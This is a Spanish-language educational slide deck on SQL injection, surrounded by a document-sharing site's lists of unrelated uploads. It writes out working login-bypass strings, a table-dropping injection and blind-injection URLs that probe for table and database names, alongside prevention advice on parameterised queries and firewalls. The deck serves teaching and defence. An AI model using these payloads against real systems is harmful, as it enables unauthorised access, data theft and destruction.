DESARROLO DE HABILIDADES DE PENSAMIENTO.pdf
marianabz2403
 
Conceptos Básicos de Programación Proyecto
Conceptos Básicos de Programación ProyectoConceptos Básicos de Programación Proyecto
Conceptos Básicos de Programación Proyecto
cofferub
 
Inteligencia Artificial y Ciberseguridad.pdf
Inteligencia Artificial y Ciberseguridad.pdfInteligencia Artificial y Ciberseguridad.pdf
Inteligencia Artificial y Ciberseguridad.pdf
Emilio Casbas
 
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Telefónica
 
Desarrollo de Habilidades de Pensamiento.
Desarrollo de Habilidades de Pensamiento.Desarrollo de Habilidades de Pensamiento.
Desarrollo de Habilidades de Pensamiento.
AlejandraCasallas7
 
Estructuras Básicas_Tecnología_Grado10-7.pdf
Estructuras Básicas_Tecnología_Grado10-7.pdfEstructuras Básicas_Tecnología_Grado10-7.pdf
Estructuras Básicas_Tecnología_Grado10-7.pdf
cristianrb0324
 
Diagrama de flujo basada en la reparacion de automoviles.pdf
Diagrama de flujo basada en la reparacion de automoviles.pdfDiagrama de flujo basada en la reparacion de automoviles.pdf
Diagrama de flujo basada en la reparacion de automoviles.pdf
ManuelCampos464987
 
Diagrama de flujo soporte técnico 5to semestre
Diagrama de flujo soporte técnico 5to semestreDiagrama de flujo soporte técnico 5to semestre
Diagrama de flujo soporte técnico 5to semestre
rafaelsalazar0615
 
TRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdf
TRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdfTRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdf
TRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdf
thomasdcroz38
 
proyecto invernadero desde el departamento de tecnología para Erasmus
proyecto invernadero desde el departamento de tecnología para Erasmusproyecto invernadero desde el departamento de tecnología para Erasmus
proyecto invernadero desde el departamento de tecnología para Erasmus
raquelariza02
 
Alan Turing Vida o biografía resumida como presentación
Alan Turing Vida o biografía resumida como presentaciónAlan Turing Vida o biografía resumida como presentación
Alan Turing Vida o biografía resumida como presentación
JuanPrez962115
 
Diagrama de flujo - ingenieria de sistemas 5to semestre
Diagrama de flujo - ingenieria de sistemas 5to semestreDiagrama de flujo - ingenieria de sistemas 5to semestre
Diagrama de flujo - ingenieria de sistemas 5to semestre
DiegoCampos433849
 
Robótica educativa para la eduacion primaria .pptx
Robótica educativa para la eduacion primaria .pptxRobótica educativa para la eduacion primaria .pptx
Robótica educativa para la eduacion primaria .pptx
44652726
 
Conceptos Básicos de Programación. Tecnología
Conceptos Básicos de Programación. TecnologíaConceptos Básicos de Programación. Tecnología
Conceptos Básicos de Programación. Tecnología
coloradxmaria
 

Último (20)

Desarrollo de Habilidades de Pensamiento.docx (3).pdf
Desarrollo de Habilidades de Pensamiento.docx (3).pdfDesarrollo de Habilidades de Pensamiento.docx (3).pdf
Desarrollo de Habilidades de Pensamiento.docx (3).pdf
 
Estructuras básicas_ conceptos básicos de programación.pdf
Estructuras básicas_  conceptos básicos de programación.pdfEstructuras básicas_  conceptos básicos de programación.pdf
Estructuras básicas_ conceptos básicos de programación.pdf
 
Conceptos Básicos de Programación L.D 10-5
Conceptos Básicos de Programación L.D 10-5Conceptos Básicos de Programación L.D 10-5
Conceptos Básicos de Programación L.D 10-5
 
biogas industrial para guiarse en proyectos
biogas industrial para guiarse en proyectosbiogas industrial para guiarse en proyectos
biogas industrial para guiarse en proyectos
 
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
 
INFORME DE LAS FICHAS.docx.pdf LICEO DEPARTAMENTAL
INFORME DE LAS FICHAS.docx.pdf LICEO DEPARTAMENTALINFORME DE LAS FICHAS.docx.pdf LICEO DEPARTAMENTAL
INFORME DE LAS FICHAS.docx.pdf LICEO DEPARTAMENTAL
 
DESARROLO DE HABILIDADES DE PENSAMIENTO.pdf
DESARROLO DE HABILIDADES DE PENSAMIENTO.pdfDESARROLO DE HABILIDADES DE PENSAMIENTO.pdf
DESARROLO DE HABILIDADES DE PENSAMIENTO.pdf
 
Conceptos Básicos de Programación Proyecto
Conceptos Básicos de Programación ProyectoConceptos Básicos de Programación Proyecto
Conceptos Básicos de Programación Proyecto
 
Inteligencia Artificial y Ciberseguridad.pdf
Inteligencia Artificial y Ciberseguridad.pdfInteligencia Artificial y Ciberseguridad.pdf
Inteligencia Artificial y Ciberseguridad.pdf
 
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
 
Desarrollo de Habilidades de Pensamiento.
Desarrollo de Habilidades de Pensamiento.Desarrollo de Habilidades de Pensamiento.
Desarrollo de Habilidades de Pensamiento.
 
Estructuras Básicas_Tecnología_Grado10-7.pdf
Estructuras Básicas_Tecnología_Grado10-7.pdfEstructuras Básicas_Tecnología_Grado10-7.pdf
Estructuras Básicas_Tecnología_Grado10-7.pdf
 
Diagrama de flujo basada en la reparacion de automoviles.pdf
Diagrama de flujo basada en la reparacion de automoviles.pdfDiagrama de flujo basada en la reparacion de automoviles.pdf
Diagrama de flujo basada en la reparacion de automoviles.pdf
 
Diagrama de flujo soporte técnico 5to semestre
Diagrama de flujo soporte técnico 5to semestreDiagrama de flujo soporte técnico 5to semestre
Diagrama de flujo soporte técnico 5to semestre
 
TRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdf
TRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdfTRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdf
TRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdf
 
proyecto invernadero desde el departamento de tecnología para Erasmus
proyecto invernadero desde el departamento de tecnología para Erasmusproyecto invernadero desde el departamento de tecnología para Erasmus
proyecto invernadero desde el departamento de tecnología para Erasmus
 
Alan Turing Vida o biografía resumida como presentación
Alan Turing Vida o biografía resumida como presentaciónAlan Turing Vida o biografía resumida como presentación
Alan Turing Vida o biografía resumida como presentación
 
Diagrama de flujo - ingenieria de sistemas 5to semestre
Diagrama de flujo - ingenieria de sistemas 5to semestreDiagrama de flujo - ingenieria de sistemas 5to semestre
Diagrama de flujo - ingenieria de sistemas 5to semestre
 
Robótica educativa para la eduacion primaria .pptx
Robótica educativa para la eduacion primaria .pptxRobótica educativa para la eduacion primaria .pptx
Robótica educativa para la eduacion primaria .pptx
 
Conceptos Básicos de Programación. Tecnología
Conceptos Básicos de Programación. TecnologíaConceptos Básicos de Programación. Tecnología
Conceptos Básicos de Programación. Tecnología
 

Seguridad Base de Datos sql injection v1.0

  • 1. Seguridad de la información SQL injection Preparado por: Carlos Rodríguez José Moreno Jesús Montenegro
  • 2. SQL Agenda 1-Conceptos Básicos de SQL 2-OWASP 3-¿Qués es SQLi? 4-Bypass Login 5-Tipos de Sql Injection 6-Prevención de Ataques 7-WAF 8-Demostración
  • 3. SQL Conceptos SQL Es la sigla para Structure Query Languaje (Lenguaje estructurado de consultas) es un lenguaje declarativo de acceso a bases de datos relacionales que permite especificar diversos tipos de operaciones en ellas. Una de sus características es el manejo del álgebra y el cálculo relacional que permiten efectuar consultas con el fin de recuperar, de forma sencilla, información de bases de datos, así como hacer cambios en ellas. Apareció en 1974 desarrollado en IBM y diseñado por Donald Chamberlin. Lenguaje de Programación En aplicaciones web que usan base de datos para manejar ( X ) operaciones, estos son aplicaciones que permiten diseñar y estructurar el flujo de acontecimientos necesarios para que un usuario final pueda interactuar con la información de la base de datos del servidor. A nivel web algunos lenguajes de programación destacados son: Lenguajes de programación PHP Perl Phyton Java Ruby JavaScript C# Visual Basic Arquitecturas interactivas HTML5 CSS XML Ajax
  • 4. SQL Conceptos Motor de base de datos Conocidos tambien como sistema de gestión de base de datos (SGBD) es un conjuntos de programas que permite la gestión, almacenamiento, modificación y extracción de información de una base de datos. Permite la administración de usuarios, de base de datos, permisos de las funciones que tiene cada usuario y sobre los componentes de las bases de datos, etc. Algunos sistemas de gestión de base de datos conocidos son: Microsoft Sql Server SYBASE ORACLE MySQL Xploit Del inglés “Explotar/Aprovechar”, fragmento de datos/software o secuencia de comandos para aprovechar una vulnerabilidad de seguridad de un sistema de información para conseguir un comportamiento no deseado del mismo. Formas script virus gusanos Clasificación de Xploits Remoto Se usa en una red para tener contacto con el sistema víctima. Local Si antes se necesita tener acceso a un sistema vulnerable para conseguir privilegios. Client Side Necesitan intervención de usuario de lado del cliente.
  • 5. SQL OWASP Es la sigla para Open Web Application Security Project (Proyecto abierto de seguridad de aplicaciones web) se dedica a determinar y combatirlas causas que hacen que el software sea inseguro y que empezó operaciones en el 2001. En 2004 se crea la fundación OWASP integrada por empresas e instituciones educativas de todo el mundo. Comunidad de seguridad informática que provee: artículos, metodologías, documentación, herramientas y tecnologías de forma gratuita. Proyectos Destacados: Proyectos de documentación Guia OWASP Guía de pruebas OWASP top 10 ISO17799 Métricas AppSec FAQ Legal Proyectos de desarrollo Web Scarab Filtros de validación WebGoat DotNet
  • 6. SQL SQL Injection ¿Que es? Método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación a nivel de validación de entradas para realizar operaciones sobre una base de datos. El origen de la vulnerabilidad en el incorrecto chequeo / filtrado / validación de variables utilizadas en un programa que contiene o genera código SQL. ¿Que se puede lograr con un ataque por inyección SQL? ● Leer información sencible desde la base de datos del servidor de la aplicación. ● Modificar la información con instrucciones (Insert/ Update/ Delete). ● Ejecutar instrucciones de administrador sobre la base de datos (detener el motor de base datos). ● Recuperar el contenido de un determinado archivo presente sobre el sistema de archivos del DBMS. ● En algunos casos emitir comandos al sistema operativo. ! Esta considerada como uno de los top 10 ataques según la OWASP. Tipos Inyección SQL Inyección SQL a ciegas
  • 7. SQL SQL Injection Factores afectados producto de una inyección SQL Confidencialidad: las bases de datos generalmente guardan información sensible por lo que la pérdida de confiabilidad se vuelve frecuente. Autenticación: las consultas SQL pobres para validar nombre de usuarios y contraseñas hace posible conectarse al sistema sin requerimiento de la contraseña. Autorización: si las autorizaciones sobre una plataforma de software estan en una base de datos es posible cambiar las reglas por medio de manipulacion de la información por inyección SQL. Integridad: asi como es posible leer información sensible, tambien es posible cambiar o borrar por medio de una ataque. Factores de riesgo ● El lenguaje SQL ● La plataforma de software que puede ser cualquiera que requiera una interacción con base de datos.
  • 8. SQL Implementaciones técnicas – Login bypass ● Caracteres de ESCAPE filtrados incorrectamente Este tipo de ataque ocurre cuando un campo de entrada de datos no tiene filtros para caracteres de escape, entonces este pasa a una declaración SQL, resultando en una potencial manipulación de la base de datos por el usuario final. Líneas de prueba: pagina web que solicita usuario y contraseña para ingresar. Credenciales válidas usuario admin ron contraseña admin ron CASO 1: el usuario es admin y la contraseña admin Lo que ve SQL: SELECT * FROM users WHERE name='tom' and password='tom' Resultado: si ambos elementos son encontrados el usuario es autenticado. CASO 2: el usuario es admin y la contraseña es una comilla simple ( ' ) Lo que ve SQL: SELECT FROM users WHERE name='tom' and password=''' Resultado: la página envía mensaje de error si ningun mensaje de error es especificado.
  • 9. SQL Implementaciones técnicas – login bypass CASO 3: el usuario es admin y la contraseña ' or '1'='1 Lo que ve SQL: SELECT * FROM users WHERE name='tom' and password='' or '1'='1' Resultado: el usuario si es admin y la contraseña no es ( '' ) pero el (OR '1'='1') es tomado como válido. De esta forma el usuario se autentica. CASO 4: el usuario es admin y la contraseña ' or 1='1 Lo que ve SQL: SELECT FROM users WHERE name='tom' and password='' or 1='1' Resultado: como el caso anterior solo que en este caso vemos que valida (1 = '1') que sql toma como válido también. CASO 5: el usuario es ' or '1'='1 y la contraseña ' or 1='1 Lo que ve SQL: SELECT FROM users WHERE name='' or '1'='1' and password='' or 1='1' Resultado: como el CASO 3 pero tanto en el usuario como la contraseña no se validan en SQL. CASO 6: el usuario es ' or 1 = 1 -- y la contraseña es blah Lo que ve SQL: SELECT FROM users WHERE name='' or '1'='1' -- and password = 'blah'. Resultado: el usuario no se valida y la instrucción que valida la contraseña se comenta.
  • 10. SQL Implementaciones técnicas – login bypass ● Manejo incorrecto de tipos de datos Este tipo de ataque ocurre cuando campos de texto presentado al usuario no esta fuertemente limitado a tipo de dato que debe ser introducido o no está validado para comprobar el tipo de entrada de datos. Ejemplo Una variable de cadena que guarda la cadena de la consulta SQL que se va a hacer. statement := "SELECT * FROM userinfo WHERE id =" + a_variable + ";" Donde a_variable es una cadena que guarda el valor que un usuario escribe en un campo de texto, en este caso sería de nombre de usuario. En el campo de texto un atacante podría escribir algo como: a_variable := '1; drop table users' Al ejecutarse la cadena de la variable statement SQL interpretara lo siguiente: SELECT * FROM userinfo WHERE id = 1; DROP TABLE users;
  • 14. SQL Blind SQL injection En este tipo de ataques el atacante nunca puede acceder a los resultados que devuelve la consulta porque la aplicación no los imprime. Sin embargo se puede apreciar un comportamiento distinto ante consultas que devuelven datos y consultas que no devuelven datos. A partir de este comportamiento distinto se intenta inyectar lógica para extraer la información en base a valores True o False. Ejemplo: probar diferentes formas para obtener un resultado. www.vuln-web.com/photo.php?id=1/ Ningún error, la página web cargó normalmente www.vuln-web.com/photo.php?id=1' Ningún error, la página web cargó normalmente www.vuln-web.com/photo.php?id=1' Ningún error, pero se observa un comportamiento diferente a los intentos anteriores. www.vuln-web.com/photo.php?id=1'-- Ningún error, pero el pequeño cambio aun se manifiesta www.vuln-web.com/photo.php?id=1' and false%23 La página no cargó como lo hace normalmente y la consulta no retornó nada.
  • 15. SQL 2 Way Blind SQL injection Son técnicas para obtener información a través de inyección SQL a ciegas. Uso de la función ASCII y substring: Hace una busqueda en la que la página web se recarga continuamente cuando encuentra un caracter de lo que se busca y genera error si no encuentra. Esta aplcación se usa también en xploits. Ejemplo: www.vuln-web.com/photo.php?id=1' and and Ascii(substring((Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=106%23 False www.vuln-web.com/photo.php?id=1' and and Ascii(substring((Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=107%23 False www.vuln-web.com/photo.php?id=1' and and Ascii(substring((Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108%23 True
  • 16. SQL 2 Way Blind SQL injection Uso de la base de datos dummy DUAL y la sentencia Like: Dual es una base datos presente en varios Motores de base de datos y esta creada para pruebas y la sentencia Like se usa en lugar del operador =. Ejemplo: Obteniendo el nombre de la base de datos Paso 1: Obteniendo la cantidad de caracteres del nombre la base de datos www.vuln-web.com/photo.php?id=1' and (select 1 from dual where database() like '_______')%23 True Paso 2: Verificar que caracteres estan presente en el nombre. www.vuln-web.com/photo.php?id=1' and (select 1 from dual where database() like '%e%')%23 True, ordenar los caracteres obtenidos, armar el nombre. Paso 3: Verificar el nombre de la base de datos www.vuln-web.com/photo.php?id=1' and (select 1 from dual where database() = 'dbase_1')%23 True
  • 17. SQL Blind SQL injection basado en tiempos Aplicaciones que utilizan funciones SQL propias del motor de base de datos para generar letargos de cierto tiempo de tal forma que si lo que se quiere es saber cierta información como una contraseña, el ataque se puede hacer generando el letargo cada vez que se coincida con uno de los caracteres de esa contraseña.
  • 18. SQL Blind SQL injection Consultas pesadas En aplicaciones web que tienen incluso controles de seguridad contra inyección SQL y sobre las funciones que generen letargos de tiempos ante respuestas positivas, es posible que estas sean manipuladas mediante las técnicas de consultas pesadas que se encargan de forzar el motor de la base de datos que generen retardos de tiempo ante respuestas positivas. Por ejemplo el motor de base de datos de Microsoft Acess no tiene de por si funciones de letargo pero a través de instrucciones como el where, or, if exists, etc. Su información puede ser obtenida o manipulada).
  • 19. SQL Medidas de prevención contra ataques ● Escapar caracteres especiales utilizados en la consultas SQL ● Delimitar los valores de la consulta ● Verificar siempre los datos que introduce el usuario ● Asignar minimos privilegios a usuarios que se va a conectar a la base de datos ● Programar bien
  • 20. SQL Programación: Consultas parametrizadas Instrucción(es) que pasan a la consulta SQL un conjunto prederminado de caracteres y evita la directa concatenación de las variables a la consulta. Connection conexion = null; PreparedStatement sentencia = null; ResultSet rs = null; boolean valido = false; try { Class.forName("com.mysql.jdbc.Driver"); conexion = DriverManager.getConnection("jdbc:mysql://localhost:3306/arquitecturajava","root ","blog"); String consulta = "select nombre from Usuarios where nombre =? and clave =?"; sentencia = conexion.prepareStatement(consulta); sentencia.setString(1, nombre); sentencia.setString(2, clave); rs = sentencia.executeQuery(); if (rs.next()) valido = true; En la consulta se utiliza el caracter ( ? ) para definir la posición en que estará cada uno de los caracteres de entrada. Así, la consulta es primero precompilada para mas adelante recibir los valores de los parámetros pero sin posibilidad de que la consulta (tablas ,índices y joins) sea
  • 21. SQL Ejemplo PHP de Consultas Parametrizadas
  • 22. SQL Herramientas de análisis Herramienta de pruebas de código abierto que automatiza el proceso de detectar y explorar los errores de inyección SQL. SQLiHelper 2.7 SQL Injection SQLMap Pangolin Su utilidad es facilitar la extracción de información procedente de bases de datos utilizando para ello técnicas de inyección SQL. Una vez indicada la url que queremos analizar, la aplicación realizará peticiones inyectando código SQL con el fin de comprobar si es realmente vulnerable. Herramienta de pago que ofrece más posibilidades que la del punto anterior y que está destinada a descubrir vulnerabilidades tanto del tipo inyección SQL como inyección SQL ciego. Son herramientas para el análisis de código que ponen a prueba nuestras aplicaciones en busca de vulnerabilidades por inyección SQL.
  • 23. SQL WAF (Web Application Firewall) Un firewall de aplicaciones Web (WAF) es un aparato, plugin de servidor, o el filtro que se aplica un conjunto de reglas a una conversación HTTP. En general, estas reglas cubren ataques comunes tales como cross-site scripting (XSS) y SQL injection. Mediante la personalización de las reglas para su aplicación, muchos ataques pueden ser identificados y bloqueados. El esfuerzo para llevar a cabo esta personalización puede ser significativo y debe ser mantenido como se modifica la aplicación.
  • 24. SQL Bibliografía Herramientas de analisis de codigo SQL injection http://pressroom.hostalia.com/white-papers/ataques-inyeccion-sql Declaraciones parametrizadas http://www.arquitecturajava.com/sql-injection-y-consultas-preparadas-24/ Consultas parametrizadas PHP http://uno-de-piera.com/consultas-parametrizadas-con-php-pdo/ Tecnicas avanzadas con Blind SQL injection http://www.elladodelmal.com/2007/11/tcnicas-avanzadas-en-blind-sql.html Inyeccion SQL de owasp https://www.owasp.org/index.php/Inyecci%C3%B3n_SQL Sistema de gestión de base de datos https://es.wikipedia.org/wiki/Sistema_de_gesti%C3%B3n_de_bases_de_datos Xploits https://es.wikipedia.org/wiki/Exploit Implementaciones técnicas http://sechow.com/bricks/docs/login-1.html Capture the Flag http://sourceforge.net/projects/lampsecurity/files/ http://highsec.es/que-es-un-ctf/ Login Bypass http://securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html Sqlmap https://github.com/sqlmapproject/sqlmap